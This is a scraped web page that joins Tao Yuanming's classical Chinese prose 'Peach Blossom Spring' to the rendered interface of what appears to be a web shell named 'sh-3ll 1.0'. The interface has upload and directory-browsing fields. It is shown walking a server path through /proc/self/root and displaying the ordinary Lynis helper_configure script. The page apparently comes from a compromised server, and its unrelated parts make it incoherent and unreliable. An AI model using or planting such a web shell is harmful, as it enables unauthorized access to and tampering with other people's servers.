晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/proc/self/root/proc/self/root/proc/self/root/opt/cpguard/3rdparty/lynis/include/
Upload File :
Current File : //proc/self/root/proc/self/root/proc/self/root/opt/cpguard/3rdparty/lynis/include/helper_configure
#!/bin/sh

#################################################################################
#
#   Lynis
# ------------------
#
# Copyright (c) Michael Boelen, CISOfy, and many contributors.
#
# Website  : https://cisofy.com/
# Blog     : https://linux-audit.com/
# GitHub   : https://github.com/CISOfy/lynis
#
# Lynis comes with ABSOLUTELY NO WARRANTY. This is free software, and you are
# welcome to redistribute it under the terms of the GNU General Public License.
# See LICENSE file for usage of this software.
#
######################################################################
#
# Helper program to configure Lynis
#
######################################################################
#
# How to use:
# ------------
#
# Run:
#   lynis configure settings quick
#   lynis configure settings quick=yes:debug=yes
#
######################################################################

    CONFIGURE_CRONJOB=0
    CONFIGURE_SETTINGS=0

    # Check configure mode
    if [ "${HELPER_PARAMS}" = "" ]; then
        ${ECHOCMD} "${YELLOW}Provide one or more configuration settings${NORMAL}"
        ${ECHOCMD} ""
        ${ECHOCMD} "Examples:"
        ${ECHOCMD} "  $0 configure cronjob"
        ${ECHOCMD} ""
        ${ECHOCMD} "  $0 configure settings quick"
        ${ECHOCMD} "  $0 configure settings debug:developer-mode:quick"
        ${ECHOCMD} "  $0 configure settings debug=yes:developer-mode=no:quick=yes"
        ${ECHOCMD} ""
        ExitClean
    elif [ "$1" = "cronjob" ]; then
        CONFIGURE_CRONJOB=1
    elif [ "$1" = "settings" ]; then
        CONFIGURE_SETTINGS=1
    fi


    # Perform activities depending on requested task
    if [ ${CONFIGURE_CRONJOB} -eq 1 ]; then

        ${ECHOCMD} "Automatic configuration for cronjobs is not implemented yet."
        ExitClean

    elif [ ${CONFIGURE_SETTINGS} -eq 1 ]; then

        # Determine where profiles are stored
        if [ -z "${PROFILEDIR}" ]; then
            ${ECHOCMD} "Can not configure Lynis, as profile directory is unknown"
            ExitFatal
        fi
        if [ -z "${CUSTOM_PROFILE}" ]; then
            ${ECHOCMD} "No custom profile found yet."
            ${ECHOCMD} "Suggestion: create one with 'touch custom.prf' or 'touch /etc/lynis/custom.prf'"
            ExitFatal
        fi

        CONFIGURE_SETTINGS=$(echo $2 | sed 's/:/ /g')
        for I in ${CONFIGURE_SETTINGS}; do
            SETTING=$(echo ${I} | awk -F= '{print $1}')
            VALUE=$(echo ${I} | awk -F= '{print $2}')
            if [ "${VALUE}" = "" ]; then
                ${ECHOCMD} "Profile:          ${CUSTOM_PROFILE}"
                Debug "Did not find a value configured on the command line for setting ${SETTING}"
                #read VALUE
                else
                  Debug "Setting '${SETTING}' should be configured with value '${VALUE}'"
                  FIND=$(grep "^${SETTING}" ${CUSTOM_PROFILE})
                  if [ "${FIND}" = "" ]; then
                      ${ECHOCMD} "Configuring setting '${CYAN}${SETTING}${NORMAL}'"
                      echo "${SETTING}=${VALUE}" >> ${CUSTOM_PROFILE}
                      if [ $? -eq 0 ]; then ${ECHOCMD} "${GREEN}Setting changed${NORMAL}"; fi
                    else
                      ${ECHOCMD} "${YELLOW}Notice${NORMAL}: Setting '${CYAN}${SETTING}${NORMAL}' was already configured (not changed)${NORMAL}"
                      ${ECHOCMD} "        Current value: ${WHITE}${FIND}${NORMAL}"
                      ${ECHOCMD} ""
                  fi
            fi
            # Now check if value is in line with expected type (boolean, integer, string)
            # =To be implemented=
        done
        ${ECHOCMD} ""
        ${ECHOCMD} ""
        ExitClean

    fi

    ExitClean

# EOF